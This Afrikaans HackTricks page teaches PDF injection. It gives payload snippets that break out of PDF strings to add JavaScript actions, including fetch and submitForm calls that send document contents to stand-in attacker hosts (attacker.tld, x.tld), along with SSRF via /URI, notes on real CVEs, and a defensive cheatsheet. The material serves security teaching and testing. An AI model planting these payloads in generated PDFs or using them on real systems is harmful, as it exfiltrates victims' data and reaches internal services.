PDF Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
As jou invoer binne ân PDF-lĂȘer weerspieĂ«l word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel. PDF-sintaksis is uiters toelaatbaar â as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed. Sedert 2024 het ân golf van fout-bounty verslae gewys dat een onontsnapte haakie of terug-skuif genoeg is vir volle skripuitvoering.
TL;DR â Moderne Aanval Werkvloei (2024)
- Vind enige gebruiker-beheerde waarde wat uiteindelik binne ân (haakie string),
/URI ( ⊠)of/JS ( ⊠)veld in die gegenereerde PDF eindig. - Spuit
)(sluit die string) gevolg deur een van die primitiewe hieronder en eindig met ân ander opening haakie om die sintaksis geldig te hou. - Lewer die kwaadwillige PDF aan ân slagoffer (of aan ân agtergronddiens wat outomaties die lĂȘer weergee â wonderlik vir blinde foute).
- Jou payload loop in die PDF-kijker:
- Chrome / Edge â PDFium Sandbox
- Firefox â PDF.js (sien CVE-2024-4367)
- Acrobat â Volledige JavaScript API (kan arbitrĂȘre lĂȘerinligting met
this.getPageNthWordekfiltreer)
Voorbeeld (annotasie skakel kaping):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Die eerste ) sluit die oorspronklike URI-string, ons voeg dan ân nuwe Action woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.
Nuttige Inspuitingsprimitiewe
| Doel | Payload Snippet | Aantekeninge |
|---|---|---|
| JavaScript op oop | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie). |
| JavaScript op skakel | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Werk in PDFium & Acrobat as jy ân /Link annotasie beheer. |
| Blind data exfiltrasie | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Kombineer met this.getPageNthWord binne JS om inhoud te steel. |
| Server-Side SSRF | Dieselfde as hierbo, maar teiken ân interne URL â wonderlik wanneer die PDF deur agterkant-dienste wat /URI eerbiedig, gerender word. | |
| Lynbreek vir nuwe objekte | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | As die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep. |
Blind Enumerasie Truuk
Gareth Heyes (PortSwigger) het ân een-liner vrygestel wat elke objek binne ân onbekende dokument tel â handig wanneer jy nie die gegenereerde PDF kan sien nie:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou ân JSON-agtige dump van die lĂȘer gee. Sien die witpapier âPortable Data exFiltrationâ vir die volledige tegniek.
Regte-WĂȘreld Foute (2023-2025)
- CVE-2024-4367 â Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met ân vervaardigde
/JavaScriptaksie. - Bug bounty 2024-05 â Groot fintech het kliĂ«nt-gelewer faktuur notas toegelaat wat in
/URIbeland het; verslag betaal $10k na ân gedemonstreerde SSRF na interne metadata gasheer metfile:///URI. - CVE-2023-26155 â
node-qpdfopdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs voor die PDF laag.
Verdedigende Cheatsheet
- Moet nooit rou gebruikersinvoer binne
(âŠ)strings of name saamvoeg nie. Ontsnap\,(,)soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings<...>. - As jy skakels bou, verkies
/URI (https://âŠ)wat jy ten volle URL-kodeer; blokkeerjavascript:skemas in kliĂ«ntkykers. - Verwyder of valideer
/OpenAction,/AA(addisionele aksies),/Launch,/SubmitFormen/ImportDatawoorde wanneer jy PDFâs na-verwerk. - Aan die bedienerkant, render onbetroubare PDFâs met ân headless converter (bv. qpdf âdecrypt âlinearize) wat JavaScript en eksterne aksies verwyder.
- Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe.
Verwysings
- Gareth Heyes, âPortable Data exFiltration â XSS for PDFsâ, PortSwigger Research (opgedateer Mei 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid RyĆko, âCVE-2024-4367: Arbitrary JavaScript Execution in PDF.jsâ (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

